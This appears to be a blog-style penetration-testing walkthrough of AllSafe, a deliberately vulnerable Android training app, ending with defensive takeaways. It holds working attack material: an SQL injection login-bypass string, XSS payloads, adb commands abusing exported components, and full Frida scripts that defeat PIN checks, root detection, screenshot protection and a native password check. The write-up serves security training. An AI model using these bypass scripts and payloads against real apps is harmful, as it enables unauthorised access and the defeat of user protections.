Android AllSafe App: Comprehensive Penetration Testing Writeup
A detailed walkthrough of common Android security vulnerabilities found in the AllSafe vulnerable application, including exploitation techniques and bypass methods using Frida, ADB, and manual code analysis.
1. Insecure Logging
The application logs sensitive user input without proper security controls.
Discovery Method:
1
2
| emu64xa:/ # pidof infosecadventures.allsafe
3370
|
Exploitation:
1
| adb shell 'logcat --pid 3370 | grep secret'
|
Results:
1
2
| 10-12 15:38:46.521 3370 3370 D ALLSAFE : User entered secret: test
10-12 15:54:52.155 3370 3370 D ALLSAFE : User entered secret: this is not secure for any sensitive data
|
Impact: Sensitive data (passwords, tokens, API keys) exposed in system logs.
2. Hardcoded Credentials
SOAP Credentials
1
| public static final String BODY = "\n <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <UsernameToken xmlns=\"http://siebel.com/webservices\">superadmin</UsernameToken>\n <PasswordText xmlns=\"http://siebel.com/webservices\">supersecurepassword</PasswordText>\n <SessionType xmlns=\"http://siebel.com/webservices\">None</SessionType>\n </soap:Header>\n ";
|
Credentials Found:
- Username:
superadmin - Password:
supersecurepassword
Development Environment Credentials (strings.xml)
1
| <string name="dev_env">https://admin:password123@dev.infosecadventures.com</string>
|
Credentials Found:
- Username:
admin - Password:
password123
3. Firebase Database Misconfiguration
Vulnerable Firebase URL
1
| <string name="firebase_database_url">https://allsafe-8cef0.firebaseio.com</string>
|
Exploitation
Accessing the REST API endpoint:
1
| https://allsafe-8cef0.firebaseio.com/.json
|
Response
1
2
3
4
| {
"flag": "5077e90341de49d0ed79b8ee53572dab",
"secret": "A bug is never just a mistake. It represents something bigger. An error of thinking. That makes you who you are."
}
|
Why Adding .json Exposes Data?
Firebase Realtime Database uses REST API. Accessing https://<project>.firebaseio.com/.json returns the complete JSON tree (or a portion of it) if the database rules allow public read access.
Adding .json is the standard REST method for reading Firebase data. If rules are set to read: true for everyone, the database is publicly accessible without authentication.
4. Insecure SharedPreferences
User credentials stored in plaintext SharedPreferences:
1
2
3
4
5
6
7
| emu64xa:/ # cat /data/data/infosecadventures.allsafe/shared_prefs/user.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="password">1234</string>
<string name="username">ahmed</string>
</map>
|
Findings:
- Username:
ahmed - Password:
1234
5. SQL Injection
The app is vulnerable to basic SQL injection in the login form.
PoC:
1
2
| Username: admin'or 1=1--
Password: 1234
|
Result: Authentication bypass
6. PIN Bypass using Frida
Source Code Analysis
1
2
3
4
5
| private final boolean checkPin(String pin) {
byte[] bArrDecode = Base64.decode("NDg2Mw==", 0);
Intrinsics.checkNotNullExpressionValue(bArrDecode, "decode(...)");
return Intrinsics.areEqual(pin, new String(bArrDecode, Charsets.UTF_8));
}
|
PIN Code: NDg2Mw== (Base64) → 4863 (decoded)
Frida Bypass Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| // pinBypass-robust-frida.js
Java.perform(function () {
function safeLog(s) {
console.log("[frida] " + s);
}
function tryHookDirect() {
try {
var PinBypass = Java.use('infosecadventures.allsafe.challenges.PinBypass');
try {
PinBypass.checkPin.overload('java.lang.String').implementation = function(pin) {
safeLog("direct: PinBypass.checkPin called with -> " + pin);
return true; // force success
};
safeLog("direct: Hooked PinBypass.checkPin(String) -> returns true");
return true;
} catch (e) {
try {
PinBypass.checkPin.implementation = function(pin) {
safeLog("direct(no-overload): PinBypass.checkPin called with -> " + pin);
return true;
};
safeLog("direct: Hooked PinBypass.checkPin (no overload) -> returns true");
return true;
} catch (e2) {
safeLog("direct hook failed: " + e2);
}
}
} catch (err) {
safeLog("direct: PinBypass class not available yet (" + err + ")");
}
return false;
}
var attempts = 0;
function attemptAll() {
attempts++;
safeLog("attempt #" + attempts + " to hook targets...");
var ok = tryHookDirect();
if (ok) {
safeLog("one or more hooks installed. done.");
} else {
if (attempts < 10) {
setTimeout(attemptAll, 500);
} else {
safeLog("gave up after " + attempts + " attempts.");
}
}
}
setTimeout(attemptAll, 100);
});
|
7. Root Detection Bypass
Manifest Declaration
1
| <activity android:name="infosecadventures.allsafe.challenges.RootBare" ... />
|
Frida Bypass Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| // rootbypass-frida.js
Java.perform(function () {
var logTag = "[frida-rootbypass]";
function safeLog(msg) { console.log(logTag + " " + msg); }
var suspiciousBinaries = ["su", "magisk", "busybox"];
function safe(fn) {
try { return fn(); } catch (e) { safeLog("Exception: " + e); return null; }
}
// Hook RootBeer.isRooted() -> always false
safe(function() {
var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
RootBeer.isRooted.implementation = function() {
safeLog("Hooked RootBeer.isRooted() -> returning false");
return false;
};
safeLog("Hook installed: RootBeer.isRooted()");
});
// Hook checkForBinary via java.io.File.exists()
safe(function() {
var File = Java.use('java.io.File');
var File_exists = File.exists;
File.exists.implementation = function() {
try {
var path = this.getAbsolutePath();
for (var i = 0; i < suspiciousBinaries.length; i++) {
var bin = suspiciousBinaries[i];
if (path.indexOf(bin) !== -1) {
safeLog("File.exists() intercepted for path: " + path + " -> returning false");
return false;
}
}
} catch (ex) {
safeLog("File.exists hook inner exception: " + ex);
}
return File_exists.call(this);
};
safeLog("Hook installed: java.io.File.exists");
});
// Hook other detection methods
safe(function() {
var RB = Java.use('com.scottyab.rootbeer.RootBeer');
if (RB.checkSuExists) {
RB.checkSuExists.implementation = function() {
safeLog("Hooked RootBeer.checkSuExists() -> returning false");
return false;
};
}
if (RB.detectTestKeys) {
RB.detectTestKeys.implementation = function() {
safeLog("Hooked RootBeer.detectTestKeys() -> returning false");
return false;
};
}
});
safeLog("rootbypass-frida: initial hook attempts complete");
});
|
Result: Congrats, root is not detected!
8. SecureFlag Bypass (Screenshot Prevention)
The app uses FLAG_SECURE to prevent screenshots. This can be bypassed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| // secureflag-bypass-frida.js
Java.perform(function () {
var Window = Java.use("android.view.Window");
Window.setFlags.implementation = function (flags, mask) {
if (mask == 0x2000) { // 0x2000 = FLAG_SECURE
console.log("[Bypass] FLAG_SECURE detected! Blocking it...");
return this.setFlags(0, 0);
}
return this.setFlags(flags, mask);
};
console.log("[+] Secure Flag Bypass script injected successfully!");
});
|
Captured UI Text:
1
2
| My password is: Il0v3fr1d4. Can you screenshot this? The MainActivity is using the secure window flag,
which prevents showing sensitive data in screenshots. It's just a fun Frida practice!
|
9. Deep Linking
The app exposes a Deep Link activity:
1
2
3
4
5
6
7
8
9
10
11
12
13
| <activity
android:name="infosecadventures.allsafe.challenges.DeepLinkTask"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="allsafe"
android:host="infosecadventures"
android:pathPrefix="/congrats"/>
</intent-filter>
</activity>
|
Exploitation
The app requires a key parameter. Found in strings.xml:
1
| Key: ebfb7ff0-b2f6-41c8-bef3-4fba17be410c
|
PoC Command:
1
| adb shell am start -a "android.intent.action.VIEW" -d "allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c"
|
10. Insecure Broadcast Receiver
Manifest Declaration
1
2
3
4
5
6
7
| <receiver
android:name="infosecadventures.allsafe.challenges.NoteReceiver"
android:exported="true">
<intent-filter>
<action android:name="infosecadventures.allsafe.action.PROCESS_NOTE"/>
</intent-filter>
</receiver>
|
Exploitation
1
2
3
4
5
| adb shell am broadcast -a infosecadventures.allsafe.action.PROCESS_NOTE \
--es server "hello" \
--es note "Hacked" \
--es notification_message "Hacked" \
-n infosecadventures.allsafe/infosecadventures.allsafe.challenges.NoteReceiver
|
11. WebView Vulnerabilities
Dangerous Configuration
1
2
3
| WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true);
|
LFI (Local File Inclusion)
Payload:
XSS (Cross-Site Scripting)
Payloads:
1
2
3
| <script>alert(1)</script>
<script>alert(document.cookie)</script>
<script>alert(document.domain)</script>
|
12. Weak Cryptography
Hardcoded AES Key
1
| KEY = "1nf053c4dv3n7ur3"
|
Weak PRNG
1
2
3
4
5
| public static String randomNumber() {
Random rnd = new Random();
int n = rnd.nextInt(100000) + 1;
return Integer.toString(n);
}
|
Weak Hash Function
1
| MessageDigest digest = MessageDigest.getInstance("MD5");
|
Frida Intercept
1
| frida -U -l android_crypto_inter.js -f infosecadventures.allsafe
|
Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| [+] onEnter: secretKeySpec.init
--> Key String: 1nf053c4dv3n7ur3
--> Algorithm: AES
[+] onEnter: cipher.getInstance
--> Algorithm: AES/ECB/PKCS5PADDING
[+] onEnter: cipher.doFinal
--> Input String: test
--> Output Base64: 8U96O0cayXe8EmZZECqNcQ==
[+] onEnter: messageDigest.getInstance
--> Algorithm: MD5
[+] onEnter: messageDigest.digest
--> Input String: ahmed
--> Output Base64: kZPOOzEzKwP32K8FbGkrhA==
|
13. Insecure Service
Manifest Declaration
1
2
3
4
| <service
android:name="infosecadventures.allsafe.challenges.RecorderService"
android:enabled="true"
android:exported="true"/>
|
Exploitation
1
| adb shell am startservice infosecadventures.allsafe/infosecadventures.allsafe.challenges.RecorderService
|
14. Object Serialization
Vulnerable code:
1
2
3
4
5
6
7
8
| final String path = requireActivity().getExternalFilesDir(null) + "/user.dat";
if (!user.role.equals("ROLE_EDITOR")) {
SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Sorry, only editors have access!");
} else {
SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Good job!");
Toast.makeText(requireContext(), user.toString(), 0).show();
}
|
Risk: Serialized objects can be tampered with to escalate privileges.
15. Insecure Content Providers
Manifest Declaration
1
2
3
4
5
| <provider
android:name="infosecadventures.allsafe.challenges.DataProvider"
android:enabled="true"
android:exported="true"
android:authorities="infosecadventures.allsafe.dataprovider"/>
|
Exploitation via ADB
1
| adb shell content query --uri "content://infosecadventures.allsafe.dataprovider"
|
Output:
1
2
3
4
| Row: 0 id=1, user=admin, note=I can not believe that Jill is still using 123456 as her password...
Row: 1 id=2, user=elliot.alderson, note=A bug is never just a mistake. It represents something bigger...
Row: 2 id=3, user=darlene.alderson, note=That's the trick about money. Banks care more about it...
Row: 3 id=4, user=gideon.goddard, note=You're never sure about anything unless...
|
Manual SQLite Access
1
2
| emu64xa:/data/data/infosecadventures.allsafe/databases # sqlite3 notes.db
sqlite> SELECT * FROM notes;
|
File Location
1
| /data/data/infosecadventures.allsafe/files/docs/readme.txt
|
After decoding:
1
2
3
4
| ---------------------
LEAVE ME HERE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW5pc3RyYXRvciIsIm5hbWUiOiJlbGxpb3QuYWxkZXJzb24iLCJzZWNyZXQiOiJXZWxsIGRvbmUhIiwiaWF0IjoxNjE1NzkzNTg3fQ.X8dEuYowT5OmwC4If-Zm0sbu4WiWr-kHrQj9DoUE9T8
---------------------
|
Decoded JWT (jwt.io)
1
2
3
4
5
6
7
8
9
10
11
12
13
| Header:
{
"alg": "HS256",
"typ": "JWT"
}
Payload:
{
"role": "administrator",
"name": "elliot.alderson",
"secret": "Well done!",
"iat": 1615793587
}
|
17. Native Library Bypass
Using Frida to override native method:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| // override_checkPassword.js
Java.perform(function () {
var NL = Java.use('infosecadventures.allsafe.challenges.NativeLibrary');
NL.checkPassword.implementation = function (password) {
try {
console.log("[frida] checkPassword called with:", password ? password.toString() : "<null>");
} catch (e) { console.log("[frida] error printing password: " + e); }
// Bypass: always return true
return true;
};
console.log("[frida] Java-level override installed for NativeLibrary.checkPassword()");
});
|
18. SMALI Code Patching
Reverse the firewall check logic using APKTool.
Original Code:
if-eqz v0, :cond_0
Patched Code:
if-nez v0, :cond_0
This inverts the condition, making the “firewall activated” branch execute even when the firewall is down.
Key Takeaways
- Never log sensitive data to system logs
- Never hardcode credentials in source code or resources
- Secure database configurations (Firebase, SQLite, SharedPreferences)
- Use parameterized queries to prevent SQL injection
- Implement proper PIN/authentication logic (not easily bypassable)
- Verify root/jailbreak detection is robust
- Use FLAG_SECURE carefully, but don’t rely solely on it
- Validate deep links and validate parameters
- Restrict Broadcast Receivers and other exported components
- Disable dangerous WebView settings (JavaScript, file access)
- Use strong cryptography (AES-256, SHA-256, etc.)
- Encrypt sensitive data in storage
- Restrict Content Provider access with proper permissions
- Use JWT best practices (strong secrets, proper validation)
- Protect native code with obfuscation and anti-tampering measures
- Don’t rely on SMALI patching prevention alone
- ADB (Android Debug Bridge)
- Frida (Dynamic Instrumentation)
- APKTool (APK Decompilation)
- Jadx/Apktool (Source Code Analysis)
- SQLite3 (Database Access)
- jwt.io (JWT Decoding)
- CyberChef (Data Encoding/Decoding)
References:
- AllSafe Vulnerable Android App
- OWASP Mobile Security Testing Guide
- Frida Documentation
- Android Security & Privacy Documentation